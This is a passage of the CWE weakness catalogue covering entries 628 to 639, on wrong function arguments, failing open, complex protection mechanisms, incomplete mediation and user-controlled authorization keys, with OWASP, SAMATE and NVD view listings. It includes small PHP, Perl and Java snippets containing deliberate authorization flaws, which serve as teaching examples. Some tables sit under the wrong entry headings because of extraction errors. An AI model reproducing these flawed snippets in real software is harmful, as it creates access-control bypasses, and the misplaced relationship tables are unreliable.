Under-studied, probably under-reported. Few researchers look for this issue; most public reports are for PHP, although other languages are affected. This issue is likely to grow in PHP as developers begin to implement functionality in place of register_globals.

References

CWE-628: Function Call with Incorrectly Specified Arguments

Description
Summary
The product calls a function, procedure, or routine with arguments that are not correctly specified, leading to always-incorrect behavior and resultant weaknesses.

Extended Description
There are multiple ways in which this weakness can be introduced, including:
- the wrong variable or reference;
- an incorrect number of arguments;
- incorrect order of arguments;
- wrong type of arguments; or
- wrong value.

Time of Introduction
- Implementation

Applicable Platforms
Languages
- All

Common Consequences
- Other
  - Access Control
  - Quality degradation
- Gain privileges / assume identity
  This weakness can cause unintended behavior and can lead to additional weaknesses such as allowing an attacker to gain unintended access to system resources.

Detection Methods
- Other
  Since these bugs typically introduce obviously incorrect behavior, they are found quickly, unless they occur in rarely-tested code paths. Managing the correct number of arguments can be made more difficult in cases where format strings are used, or when variable numbers of arguments are supported.

Demonstrative Examples
Example 1:
The following PHP method authenticates a user given a username/password combination but is called with the parameters in reverse order.

PHP Example:
```php
function authenticate($username, $password) {
    // authenticate user
    ...
    authenticate($_POST['password'], $_POST['username']);
}
```

Example 2:
This Perl code intends to record whether a user authenticated successfully or not, and to exit if the user fails to authenticate. However, when it calls ReportAuth(), the third argument is specified as 0 instead of 1, so it does not exit.

Perl Example:
```perl
sub ReportAuth {
    my ($username, $result, $fatal) = @_;  
    PrintLog("auth: username=%s, result=%d", "username", $result);  
    if (($result ne "success") & & $fatal) {
        die "Failed!
";
```
Example 3:
In the following Java snippet, the accessGranted() method is accidentally called with the static ADMIN_ROLES array rather than the user roles.

**Java Example:**
```java
private static final String[] ADMIN_ROLES = ...;
public boolean void accessGranted(String resource, String user) {
    String[] userRoles = getUserRoles(user);
    return accessGranted(resource, ADMIN_ROLES);
}
private boolean void accessGranted(String resource, String[] userRoles) {
    // grant or deny access based on user roles
    ...
}
```

**Observed Examples**

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-7049</td>
<td>The method calls the functions with the wrong argument order, which allows remote attackers to bypass intended access restrictions.</td>
</tr>
</tbody>
</table>

**Potential Mitigations**

**Build and Compilation**

Once found, these issues are easy to fix. Use code inspection tools and relevant compiler features to identify potential violations. Pay special attention to code that is not likely to be exercised heavily during QA.

**Architecture and Design**

Make sure your API's are stable before you use them in production code.

**Weakness Ordinalities**

**Primary** *(where the weakness exists independent of other weaknesses)*

This is usually primary to other weaknesses, but it can be resultant if the function's API or function prototype changes.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>559</td>
<td>Often Misused: Arguments and Parameters</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>573</td>
<td>Improper Following of Specification by Caller</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>736</td>
<td>CERT C Secure Coding Section 02 - Declarations and Initialization (DCL)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>737</td>
<td>CERT C Secure Coding Section 03 - Expressions (EXP)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>742</td>
<td>CERT C Secure Coding Section 08 - Memory Management (MEM)</td>
<td>734</td>
</tr>
<tr>
<td>ChildOf</td>
<td>C</td>
<td>998</td>
<td>SFP Secondary Cluster: Glitch in Computation</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>683</td>
<td>Function Call With Incorrect Order of Arguments</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>685</td>
<td>Function Call With Incorrect Number of Arguments</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>686</td>
<td>Function Call With Incorrect Argument Type</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>687</td>
<td>Function Call With Incorrectly Specified Argument Value</td>
<td>699</td>
</tr>
<tr>
<td>ParentOf</td>
<td>V</td>
<td>688</td>
<td>Function Call With Incorrect Variable or Reference as Argument</td>
<td>699</td>
</tr>
<tr>
<td>MemberOf</td>
<td>V</td>
<td>884</td>
<td>CWE Cross-section</td>
<td>884</td>
</tr>
</tbody>
</table>
CWE-629: Weaknesses in OWASP Top Ten (2007)

**View ID:** 629 *(View: Graph)*  
**Status:** Draft

**Objective**  
CWE nodes in this view (graph) are associated with the OWASP Top Ten, as released in 2007.

**View Data**

**View Metrics**

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>38 out of 1006</td>
</tr>
<tr>
<td>Views</td>
<td>0 out of 33</td>
</tr>
<tr>
<td>Categories</td>
<td>10 out of 245</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>27 out of 720</td>
</tr>
<tr>
<td>Compound Elements</td>
<td>1 out of 8</td>
</tr>
</tbody>
</table>

**View Audience**

**Developers**  
This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing a good starting point for web application developers who want to code more securely.

**Software Customers**  
This view outlines the most important issues as identified by the OWASP Top Ten (2007 version), providing customers with a way of asking their software developers to follow minimum expectations for secure code.

**Educators**  
Since the OWASP Top Ten covers the most frequently encountered issues, this view can be used by educators as training material for students.

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>712</td>
<td>OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS)</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>713</td>
<td>OWASP Top Ten 2007 Category A2 - Injection Flaws</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>714</td>
<td>OWASP Top Ten 2007 Category A3 - Malicious File Execution</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>715</td>
<td>OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>716</td>
<td>OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF)</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>717</td>
<td>OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>718</td>
<td>OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>719</td>
<td>OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>720</td>
<td>OWASP Top Ten 2007 Category A9 - Insecure Communications</td>
<td>629</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>721</td>
<td>OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access</td>
<td>629</td>
</tr>
</tbody>
</table>

**Relationship Notes**  
The relationships in this view are a direct extraction of the CWE mappings that are in the 2007 OWASP document. CWE has changed since the release of that document.
CWE-630: Weaknesses Examined by SAMATE

Objective
CWE nodes in this view (slice) are being focused on by SAMATE.

View Data

<table>
<thead>
<tr>
<th>View Metrics</th>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Views</td>
<td>0 out of 1006</td>
<td>33</td>
</tr>
<tr>
<td>Categories</td>
<td>1 out of 245</td>
<td></td>
</tr>
<tr>
<td>Weaknesses</td>
<td>20 out of 720</td>
<td></td>
</tr>
<tr>
<td>Compound_Elements</td>
<td>0 out of 8</td>
<td></td>
</tr>
</tbody>
</table>

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>630 121</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>80</td>
<td>Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)</td>
<td>630 142</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>630 159</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>99</td>
<td>Improper Control of Resource Identifiers ('Resource Injection')</td>
<td>630 190</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>121</td>
<td>Stack-based Buffer Overflow</td>
<td>630 242</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>122</td>
<td>Heap-based Buffer Overflow</td>
<td>630 245</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>630 277</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>170</td>
<td>Improper Null Termination</td>
<td>630 328</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>244</td>
<td>Improper Clearing of Heap Memory Before Release (' Heap Inspection')</td>
<td>630 435</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>251</td>
<td>Often Misused: String Management</td>
<td>630 446</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>259</td>
<td>Use of Hard-coded Password</td>
<td>630 460</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>367</td>
<td>Time-of-check Time-of-use (TOCTOU) Race Condition</td>
<td>630 643</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>391</td>
<td>Unchecked Error Condition</td>
<td>630 677</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>401</td>
<td>Improper Release of Memory Before Removing Last Reference ('Memory Leak')</td>
<td>630 695</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>412</td>
<td>Unrestricted Externally Accessible Lock</td>
<td>630 712</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>415</td>
<td>Double Free</td>
<td>630 718</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>416</td>
<td>Use After Free</td>
<td>630 720</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>457</td>
<td>Use of Uninitialized Variable</td>
<td>630 774</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>468</td>
<td>Incorrect Pointer Scaling</td>
<td>630 788</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>476</td>
<td>NULL Pointer Dereference</td>
<td>630 800</td>
<td></td>
</tr>
<tr>
<td>HasMember</td>
<td>489</td>
<td>Leftover Debug Code</td>
<td>630 826</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-631: Resource-specific Weaknesses

Objective
CWE nodes in this view (graph) occur when the application handles particular system resources.

View Data

View Metrics
CWE-632: Weaknesses that Affect Files or Directories

Category ID: 632 (Category)  Status: Draft

Description
Summary
Weaknesses in this category affect file or directory resources.

Relationships

CWE-633: Weaknesses that Affect Memory

Category ID: 633 (Category)  Status: Draft

Description
Summary
Weaknesses in this category affect memory resources.

Relationships
### CWE-634: Weaknesses that Affect System Processes

**Category ID:** 634  *(Category)*  
**Status:** Draft

**Description**

Weaknesses in this category affect system process resources during process invocation or inter-process communication (IPC).

**Summary**

Nature  | Type  | ID  | Name                                                                 | Page |
---|---|---|---|---|
ParentOf  |  | 14  | Compiler Removal of Code to Clear Buffers  | 631 12 |
ParentOf  |  | 119 | Improper Restriction of Operations within the Bounds of a Memory Buffer  | 631 226 |
ParentOf  |  | 120 | Buffer Copy without Checking Size of Input ('Classic Buffer Overflow')  | 631 234 |
ParentOf  |  | 122 | Heap-based Buffer Overflow  | 631 245 |
ParentOf  |  | 129 | Improper Validation of Array Index  | 631 258 |
ParentOf  |  | 134 | Use of Externally-Controlled Format String  | 631 277 |
ParentOf  |  | 226 | Sensitive Information Uncleared Before Release  | 631 417 |
ParentOf  |  | 244 | Improper Clearing of Heap Memory Before Release ('Heap Inspection')  | 631 435 |
ParentOf  |  | 251 | Often Misused: String Management  | 631 446 |
ParentOf  |  | 316 | Cleartext Storage of Sensitive Information in Memory  | 631 560 |
ParentOf  |  | 401 | Improper Release of Memory Before Removing Last Reference ('Memory Leak')  | 631 695 |
ParentOf  |  | 415 | Double Free  | 631 718 |
ParentOf  |  | 416 | Use After Free  | 631 720 |
ParentOf  |  | 591 | Sensitive Data Storage in Improperly Locked Memory  | 631 934 |
MemberOf  |  | 631 | Resource-specific Weaknesses  | 631 982 |
ParentOf  |  | 763 | Release of Invalid Pointer or Reference  | 631 1167 |
ParentOf  |  | 785 | Use of Path Manipulation Function without Maximum-sized Buffer  | 631 1207 |

**CWE Version 2.11**

**CWE-634: Weaknesses that Affect System Processes**

**Nature**  | **Type**  | **ID**  | **Name**  |
---|---|---|---|
ParentOf  |  | 69  | Improper Handling of Windows ::DATA Alternate Data Stream  |
ParentOf  |  | 78  | Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')  |
ParentOf  |  | 88  | Argument Injection or Modification  |
ParentOf  |  | 114  | Process Control  |
ParentOf  |  | 214  | Information Exposure Through Process Environment  |
ParentOf  |  | 266  | Incorrect Privilege Assignment  |
ParentOf  |  | 273  | Improper Check for Dropped Privileges  |
ParentOf  |  | 364  | Signal Handler Race Condition  |
ParentOf  |  | 366  | Race Condition within a Thread  |
ParentOf  |  | 383  | J2EE Bad Practices: Direct Use of Threads  |
ParentOf  |  | 387  | Signal Errors  |
ParentOf  |  | 403  | Exposure of File Descriptor to Unintended Control Sphere ('File Descriptor Leak')  |
ParentOf  |  | 421  | Race Condition During Access to Alternate Channel  |
ParentOf  |  | 422  | Unprotected Windows Messaging Channel ('Shatter')  |
ParentOf  |  | 426  | Untrusted Search Path  |
ParentOf  |  | 479  | Signal Handler Use of a Non-reentrant Function  |
ParentOf  |  | 572  | Call to Thread run() instead of start()  |
MemberOf  |  | 631  | Resource-specific Weaknesses  |
CWE-635: Weaknesses Used by NVD

**Objective**
CWE nodes in this view (slice) were used by NIST to categorize vulnerabilities within NVD, from 2007 to 2016.

**View Data**

**View Metrics**

<table>
<thead>
<tr>
<th>CWEs in this view</th>
<th>Total CWEs</th>
</tr>
</thead>
<tbody>
<tr>
<td>Total</td>
<td>19</td>
</tr>
<tr>
<td>Views</td>
<td>0</td>
</tr>
<tr>
<td>Categories</td>
<td>6</td>
</tr>
<tr>
<td>Weaknesses</td>
<td>12</td>
</tr>
<tr>
<td>Compound Elements</td>
<td>1</td>
</tr>
</tbody>
</table>

**Relationships**

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>HasMember</td>
<td>C</td>
<td>16</td>
<td>Configuration</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>20</td>
<td>Improper Input Validation</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>22</td>
<td>Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>59</td>
<td>Improper Link Resolution Before File Access ('Link Following')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>78</td>
<td>Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>79</td>
<td>Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>89</td>
<td>Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>94</td>
<td>Improper Control of Generation of Code ('Code Injection')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>119</td>
<td>Improper Restriction of Operations within the Bounds of a Memory Buffer</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>134</td>
<td>Use of Externally-Controlled Format String</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>189</td>
<td>Numeric Errors</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>200</td>
<td>Information Exposure</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>255</td>
<td>Credentials Management</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>264</td>
<td>Permissions, Privileges, and Access Controls</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>287</td>
<td>Improper Authentication</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>310</td>
<td>Cryptographic Issues</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>352</td>
<td>Cross-Site Request Forgery (CSRF)</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>362</td>
<td>Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')</td>
<td>635</td>
</tr>
<tr>
<td>HasMember</td>
<td>C</td>
<td>399</td>
<td>Resource Management Errors</td>
<td>635</td>
</tr>
</tbody>
</table>

**References**

**Maintenance Notes**
This view is effectively obsolete, although it is probably still in active use by CWE consumers.

In Summer 2007, NIST began using this set of CWE elements to classify CVE entries within the National Vulnerability Database (NVD). In 2016, NIST began using a different list as derived from the "Weaknesses for Simplified Mapping of Published Vulnerabilities" view (CWE-1003).

NVD cross-section of CWE
https://nvd.nist.gov/NVDLegacy/media/NVDLegacyMedia/CWE/cwe_cross_section_large.jpg

CWE-636: Not Failing Securely ('Failing Open')

**Weakness ID:** 636 (Weakness Class)

**Status:** Draft
CWE Version 2.11
CWE-636: Not Failing Securely ('Failing Open')

Description

Summary
When the product encounters an error condition or failure, its design requires it to fall back to a state that is less secure than other options that are available, such as selecting the weakest encryption algorithm or using the most permissive access control restrictions.

Extended Description
By entering a less secure state, the product inherits the weaknesses associated with that state, making it easier to compromise. At the least, it causes administrators to have a false sense of security. This weakness typically occurs as a result of wanting to “fail functional” to minimize administration and support costs, instead of “failing safe.”

Alternate Terms
Failing Open

Time of Introduction
• Architecture and Design
• Implementation

Applicable Platforms

Languages
• All

Common Consequences
Access Control
Bypass protection mechanism
Intended access restrictions can be bypassed, which is often contradictory to what the product’s administrator expects.

Demonstrative Examples
Switches may revert their functionality to that of hubs when the table used to map ARP information to the switch interface overflows, such as when under a spoofing attack. This results in traffic being broadcast to an eavesdropper, instead of being sent only on the relevant switch interface. To mitigate this type of problem, the developer could limit the number of ARP entries that can be recorded for a given switch interface, while other interfaces may keep functioning normally. Configuration options can be provided on the appropriate actions to be taken in case of a detected failure, but safe defaults should be used.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-4407</td>
<td>Incorrect prioritization leads to the selection of a weaker cipher. Although it is not known whether this issue occurred in implementation or design, it is feasible that a poorly designed algorithm could be a factor.</td>
</tr>
<tr>
<td>CVE-2007-5277</td>
<td>The failure of connection attempts in a web browser resets DNS pin restrictions. An attacker can then bypass the same origin policy by rebinding a domain name to a different IP address. This was an attempt to “fail functional.”</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Subdivide and allocate resources and components so that a failure in one part does not affect the entire product.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>PeerOf</td>
<td></td>
<td>280</td>
<td>Improper Handling of Insufficient Permissions or Privileges</td>
<td>496</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>388</td>
<td>Error Handling</td>
<td>670</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>728</td>
<td>OWASP Top Ten 2004 Category A7 - Improper Error Handling</td>
<td>1122</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>755</td>
<td>Improper Handling of Exceptional Conditions</td>
<td>1153</td>
</tr>
</tbody>
</table>
CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Nature | Type | ID | Name |
--- | --- | --- | --- |
ChildOf | 961 | SFP Secondary Cluster: Incorrect Exception Behavior |
ParentOf | 455 | Non-exit on Failed Initialization |

Research Gaps
Since design issues are hard to fix, they are rarely publicly reported, so there are few CVE examples of this problem as of January 2008. Most publicly reported issues occur as the result of an implementation error instead of design, such as CVE-2005-3177 (Improper handling of large numbers of resources) or CVE-2005-2969 (inadvertently disabling a verification step, leading to selection of a weaker protocol).

Causal Nature
Implicit

Taxonomy Mappings
© Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
--- | --- | --- | --- |
OWASP Top Ten 2004 | A7 | CWE More Specific | Improper Error Handling |

References

CWE-637: Unnecessary Complexity in Protection Mechanism (Not Using 'Economy of Mechanism')

Weakness ID: 637 (Weakness Class) Status: Draft

Description
Summary
The software uses a more complex mechanism than necessary, which could lead to resultant weaknesses when the mechanism is not correctly understood, modeled, configured, implemented, or used.

Extended Description
Security mechanisms should be as simple as possible. Complex security mechanisms may engender partial implementations and compatibility problems, with resulting mismatches in assumptions and implemented security. A corollary of this principle is that data specifications should be as simple as possible, because complex data specifications result in complex validation code. Complex tasks and systems may also need to be guarded by complex security checks, so simple systems should be preferred.

Alternate Terms
Unnecessary Complexity

Time of Introduction
• Architecture and Design
• Implementation
• Operation

Applicable Platforms
Languages
• All

Common Consequences
Other
Other

Demonstrative Examples
Example 1:
The IPSEC specification is complex, which resulted in bugs, partial implementations, and incompatibilities between vendors.
Example 2:
HTTP Request Smuggling (CWE-444) attacks are feasible because there are not stringent requirements for how illegal or inconsistent HTTP headers should be handled. This can lead to inconsistent implementations in which a proxy or firewall interprets the same data stream as a different set of requests than the end points in that stream.

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2005-2148</td>
<td>The developer cleanses the $_REQUEST superglobal array, but PHP also populates $_GET, allowing attackers to bypass the protection mechanism and conduct SQL injection attacks against code that uses $_GET.</td>
</tr>
<tr>
<td>CVE-2007-1552</td>
<td>Either a filename extension and a Content-Type header could be used to infer the file type, but the developer only checks the Content-Type, enabling unrestricted file upload (CWE-434).</td>
</tr>
<tr>
<td>CVE-2007-6067</td>
<td>Support for complex regular expressions leads to a resultant algorithmic complexity weakness (CWE-407).</td>
</tr>
<tr>
<td>CVE-2007-6479</td>
<td>In Apache environments, a &quot;filename.php.gif&quot; can be redirected to the PHP interpreter instead of being sent as an image/gif directly to the user. Not knowing this, the developer only checks the last extension of a submitted filename, enabling arbitrary code execution.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Avoid complex security mechanisms when simpler ones would meet requirements. Avoid complex data models, and unnecessarily complex operations. Adopt architectures that provide guarantees, simplify understanding through elegance and abstraction, and that can be implemented similarly. Modularize, isolate and do not trust complex code, and apply other secure programming principles on these modules (e.g., least privilege) to mitigate vulnerabilities.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>V</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td></td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td></td>
<td>699</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1019</td>
</tr>
<tr>
<td>ChildOf</td>
<td></td>
<td>975</td>
<td>SFP Secondary Cluster: Architecture</td>
<td></td>
<td>888</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td>1386</td>
</tr>
</tbody>
</table>

Causal Nature

Implicit

References

CWE-638: Not Using Complete Mediation

<table>
<thead>
<tr>
<th>Weakness ID: 638 (Weakness Class)</th>
<th>Status: Draft</th>
</tr>
</thead>
<tbody>
<tr>
<td>Description</td>
<td></td>
</tr>
<tr>
<td>Summary</td>
<td></td>
</tr>
</tbody>
</table>
The software does not perform access checks on a resource every time the resource is accessed by an entity, which can create resultant weaknesses if that entity’s rights or privileges change over time. |
| Extended Description              |               |

Time of Introduction
- Architecture and Design
- Implementation
- Operation

Applicable Platforms
Languages
- All

Common Consequences
- Integrity
- Confidentiality
- Availability
- Access Control
- Other
  - Gain privileges / assume identity
  - Execute unauthorized code or commands
  - Bypass protection mechanism
  - Read application data
- Other

A user might retain access to a critical resource even after privileges have been revoked, possibly allowing access to privileged functionality or sensitive information, depending on the role of the resource.

Demonstrative Examples

Example 1:
When executable library files are used on web servers, which is common in PHP applications, the developer might perform an access check in any user-facing executable, and omit the access check from the library file itself. By directly requesting the library file (CWE-425), an attacker can bypass this access check.

Example 2:
When a developer begins to implement input validation for a web application, often the validation is performed in each area of the code that uses externally-controlled input. In complex applications with many inputs, the developer often misses a parameter here or a cookie there. One frequently-applied solution is to centralize all input validation, store these validated inputs in a separate data structure, and require that all access of those inputs must be through that data structure. An alternate approach would be to use an external input validation framework such as Struts, which performs the validation before the inputs are ever processed by the code.

Observed Examples

<table>
<thead>
<tr>
<th>Reference</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-0408</td>
<td>Server does not properly validate client certificates when reusing cached connections.</td>
</tr>
</tbody>
</table>

Potential Mitigations

Architecture and Design
Invalidate cached privileges, file handles or descriptors, or other access credentials whenever identities, processes, policies, roles, capabilities or permissions change. Perform complete authentication checks before accepting, caching and reusing data, dynamic content and code (scripts). Avoid caching access control decisions as much as possible.

Architecture and Design
Identify all possible code paths that might access sensitive resources. If possible, create and use a single interface that performs the access checks, and develop code standards that require use of this interface.

Weakness Ordinalities

Primary (where the weakness exists independent of other weaknesses)

Relationships

<table>
<thead>
<tr>
<th>Nature</th>
<th>Type</th>
<th>ID</th>
<th>Name</th>
<th>Page</th>
</tr>
</thead>
<tbody>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>657</td>
<td>Violation of Secure Design Principles</td>
<td>699</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>862</td>
<td>Missing Authorization</td>
<td>1000</td>
</tr>
<tr>
<td>ChildOf</td>
<td>⬇</td>
<td>988</td>
<td>SFP Secondary Cluster: Race Condition Window</td>
<td>888</td>
</tr>
<tr>
<td>ParentOf</td>
<td>⬆</td>
<td>424</td>
<td>Improper Protection of Alternate Path</td>
<td>1000</td>
</tr>
</tbody>
</table>

Causal Nature
CWE Version 2.11
CWE-639: Authorization Bypass Through User-Controlled Key

Implicit

Taxonomy Mappings

<table>
<thead>
<tr>
<th>Mapped Taxonomy Name</th>
<th>Node ID</th>
<th>Mapped Node Name</th>
</tr>
</thead>
<tbody>
<tr>
<td>Software Fault Patterns</td>
<td>SFP20</td>
<td>Race Condition Window</td>
</tr>
</tbody>
</table>

Related Attack Patterns

<table>
<thead>
<tr>
<th>CAPEC-ID</th>
<th>Attack Pattern Name</th>
<th>(CAPEC Version 2.10)</th>
</tr>
</thead>
<tbody>
<tr>
<td>104</td>
<td>Cross Zone Scripting</td>
<td></td>
</tr>
</tbody>
</table>

References


CWE-639: Authorization Bypass Through User-Controlled Key

Weakness ID: 639 (Weakness Base) Status: Incomplete

Description

Summary
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.

Extended Description
Retrieval of a user record occurs in the system based on some key value that is under user control. The key would typically identify a user related record stored in the system and would be used to lookup that record for presentation to the user. It is likely that an attacker would have to be an authenticated user in the system. However, the authorization process would not properly check the data access operation to ensure that the authenticated user performing the operation has sufficient entitlements to perform the requested data access, hence bypassing any other authorization checks present in the system. One manifestation of this weakness would be if a system used sequential or otherwise easily guessable session ids that would allow one user to easily switch to another user's session and read/modify their data.

Alternate Terms

Insecure Direct Object Reference
The "Insecure Direct Object Reference" term, as described in the OWASP Top Ten, is broader than this CWE because it also covers path traversal (CWE-22). Within the context of vulnerability theory, there is a similarity between the OWASP concept and CWE-706: Use of Incorrectly-Resolved Name or Reference.

Horizontal Authorization
"Horizontal Authorization" is used to describe situations in which two users have the same privilege level, but must be prevented from accessing each other's resources. This is fairly common when using key-based access to resources in a multi-user context.

Time of Introduction
- Architecture and Design

Applicable Platforms

Languages
- Language-independent

Common Consequences

Access Control
Bypass protection mechanism
Access control checks for specific user data or functionality can be bypassed.
**Access Control**

**Gain privileges / assume identity**

Horizontal escalation of privilege is possible (one user can view/modify information of another user).

**Access Control**

**Gain privileges / assume identity**

Vertical escalation of privilege is possible if the user-controlled key is actually a flag that indicates administrator status, allowing the attacker to gain administrative access.

**Likelihood of Exploit**

High

**Enabling Factors for Exploitation**

The key used internally in the system to identify the user record can be externally controlled. For example, attackers can look at places where user specific data is retrieved (e.g. search screens) and determine whether the key for the item being looked up is controllable externally. The key may be a hidden field in the HTML form field, might be passed as a URL parameter or as an unencrypted cookie variable, then in each of these cases it will be possible to tamper with the key value.

**Potential Mitigations**

**Architecture and Design**

